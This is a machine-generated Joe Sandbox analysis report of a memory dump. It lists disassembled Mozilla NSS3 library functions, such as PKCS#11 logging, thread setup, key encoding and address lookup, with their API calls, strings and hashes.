pTemplate = 0x%p, xrefs: 6C684F4A

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nvl
API String ID: 1003633598-93353135
Opcode ID: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction ID: f6e14b3d736c57f279b726a741a7e004b96aca9608d797e3e296e14d28d058eb
Opcode Fuzzy Hash: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction Fuzzy Hash: A741B871603148ABDB00DF55DE8CFAA77B9AF5231DF044038E9096BA51DB709948CB7E

Function 6C684CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C684CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D37

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C684DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C684DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C684E20

Strings

pulSize = 0x%p, xrefs: 6C684DB7
hObject = 0x%x, xrefs: 6C684D65, 6C684D75
*pulSize = 0x%x, xrefs: 6C684E1B
hSession = 0x%x, xrefs: 6C684D12, 6C684D22
C_GetObjectSize, xrefs: 6C684CEE
(CK_INVALID_HANDLE), xrefs: 6C684D30, 6C684D83
nvl, xrefs: 6C684DD4, 6C684DFF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nvl
API String ID: 1003633598-284515238
Opcode ID: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction ID: ff990fbe767b50cf8c292360391d709c143b795392f06256ba8e5ebdc624f9ef
Opcode Fuzzy Hash: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction Fuzzy Hash: 9341EB71602208AFDB009F10DE9CF6A37B9EB4634DF048034F9096BA51DB709948CB7E

Function 6C687C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C687CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687CF3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C687D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C687D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687D77

Strings

ulSignatureLen = %d, xrefs: 6C687D72
ulDataLen = %d, xrefs: 6C687D40
C_Verify, xrefs: 6C687CB1
pData = 0x%p, xrefs: 6C687D25
hSession = 0x%x, xrefs: 6C687CCE, 6C687CDE
(CK_INVALID_HANDLE), xrefs: 6C687CEC
pSignature = 0x%p, xrefs: 6C687D59
nvl, xrefs: 6C687D8F, 6C687DC3

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nvl
API String ID: 1003633598-4033680503
Opcode ID: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction ID: 891cdfe52b6b1f958b2b871e3efbb6d5ef4f782ddf634e12508c842d5df35402
Opcode Fuzzy Hash: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction Fuzzy Hash: C631A371702148AFDB109F55DE4CEAA3BF2AB4235CF084434F9096BA11DB309948CBBE

Function 6C682F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C682F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682F63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C682F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C682FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C682FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C682FE7

Strings

pOldPin = 0x%p, xrefs: 6C682F95
C_SetPIN, xrefs: 6C682F21
pNewPin = 0x%p, xrefs: 6C682FC9
ulNewLen = %d, xrefs: 6C682FE2
ulOldLen = %d, xrefs: 6C682FB0
hSession = 0x%x, xrefs: 6C682F3E, 6C682F4E
(CK_INVALID_HANDLE), xrefs: 6C682F5C
nvl, xrefs: 6C682FFF, 6C683030

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nvl
API String ID: 1003633598-3987637513
Opcode ID: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction ID: a4b79b0e1421ec2e2d805b612606df912baf784089d4f8c17c66037e965dcc03
Opcode Fuzzy Hash: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction Fuzzy Hash: 9731B375603148AFDB009F55DE4CE8A7BB2EB4735DF484034E909ABB51DB309948CBAE

Function 6C769C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C769C70
PR_NewLock.NSS3 ref: 6C769C85

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000), ref: 6C769C96

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewLock.NSS3 ref: 6C769CA9

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3 ref: 6C769CB9
PR_NewLock.NSS3 ref: 6C769CC9
PR_NewCondVar.NSS3(00000000), ref: 6C769CDA

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(?), ref: 6C769CF0
PR_NewPollableEvent.NSS3 ref: 6C769D03

Part of subcall function 6C75F3B0: PR_CallOnce.NSS3(6C7B14B0,6C75F510), ref: 6C75F3E6
Part of subcall function 6C75F3B0: PR_CreateIOLayerStub.NSS3(6C7B006C), ref: 6C75F402
Part of subcall function 6C75F3B0: PR_Malloc.NSS3(00000004), ref: 6C75F416
Part of subcall function 6C75F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C75F42D
Part of subcall function 6C75F3B0: PR_SetSocketOption.NSS3(?), ref: 6C75F455
Part of subcall function 6C75F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C75F473

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C769D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DAF
_PR_CreateThread.NSS3(00000000,6C769EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769D9F

Part of subcall function 6C63B3C0: TlsGetValue.KERNEL32 ref: 6C63B403
Part of subcall function 6C63B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C63B459

_PR_CreateThread.NSS3(00000000,6C76A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DFC
_PR_CreateThread.NSS3(00000000,6C76A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C769E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C769E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C769E89

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction ID: 47e0bda89cbaa6b437f2cb76a8c6fe7070108346d6ff20ce188df0cb11ec11ae
Opcode Fuzzy Hash: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction Fuzzy Hash: C8612BB1900706AFD710DF76D944AA6BBE8FF49308B044539E85AC7F11EB30E815CBA5

Function 6C663FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C664014

Part of subcall function 6C6639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F,?), ref: 6C663A08
Part of subcall function 6C6639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F), ref: 6C663A1C
Part of subcall function 6C6639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C663A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C664038

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C66404D

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A0F4), ref: 6C6640C2

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C66409A

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C664108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C66411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C664137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C664150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C77A1C8), ref: 6C66417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C664194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6641B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A1A8), ref: 6C66422D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction ID: e8d5ba0a5010404dac0e1cb622ebc99dd7662ea4190aadad98f6853c3db08788
Opcode Fuzzy Hash: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction Fuzzy Hash: F451F6B1A043016BF710DB269C61BB7B6DD9F5234CF140528E95AC6F42FB71E91882AF

Function 6C6A8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E9E
PORT_ArenaAlloc_Util.NSS3(6C7B0B64,00000001,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8E01), ref: 6C6A8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B0B64,6C7B0B64), ref: 6C6A8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C6A8F3F

Part of subcall function 6C6AA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C6AA421,00000000,00000000,6C6A9826), ref: 6C6AA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6A904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C6A8E76

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction ID: 0a5e921e9643bca006ffd503c695ffcc5610e738b0be403def85a23dd1839119
Opcode Fuzzy Hash: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction Fuzzy Hash: E66173B5D0010A9BDB10CF96CD44AABB7B5FF88358F244129DC18A7711E732AD16CBB4

Function 6C658E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C658E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C658E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C658EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7818D0,?), ref: 6C658F03
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C658F19
PL_FreeArenaPool.NSS3(?), ref: 6C658F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C658F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C658F65
PL_FinishArenaPool.NSS3(?), ref: 6C658FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C658FFE
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C659012
PL_FreeArenaPool.NSS3(?), ref: 6C659024
PL_FinishArenaPool.NSS3(?), ref: 6C65902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C65903E

Strings

security, xrefs: 6C658EE7

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction ID: 6727b6f100abf774d9a923c139fa9ad8fe012f12834da34d9ee099564e4fab89
Opcode Fuzzy Hash: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction Fuzzy Hash: E95169B1648300ABD7105A14DC41FAB73E8AF8A35CFA0082EF95497F50E731D829876F

Function 6C71CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A

Part of subcall function 6C71CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C68C1A8,?), ref: 6C71CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E

Part of subcall function 6C6405C0: PR_EnterMonitor.NSS3 ref: 6C6405D1
Part of subcall function 6C6405C0: PR_ExitMonitor.NSS3 ref: 6C6405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C71CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CE48

Strings

wship6.dll, xrefs: 6C71CDE3
getnameinfo, xrefs: 6C71CDB2, 6C71CE23
freeaddrinfo, xrefs: 6C71CD9F, 6C71CE10
getaddrinfo, xrefs: 6C71CD88, 6C71CDF9
ws2_32.dll, xrefs: 6C71CD75

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction ID: 4de1f8247834431d80a4a036b94170acac42c10d7a72cda8428bdb0db315982c
Opcode Fuzzy Hash: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction Fuzzy Hash: 121126A6E1B12217EB006AB22E01EAA3C5C9B1310EF5CC534E905D2F41FF21D60983EE

Function 6C761C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7613BC,?,?,?,6C761193), ref: 6C761C6B
PR_NewLock.NSS3(?,6C761193), ref: 6C761C7E

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

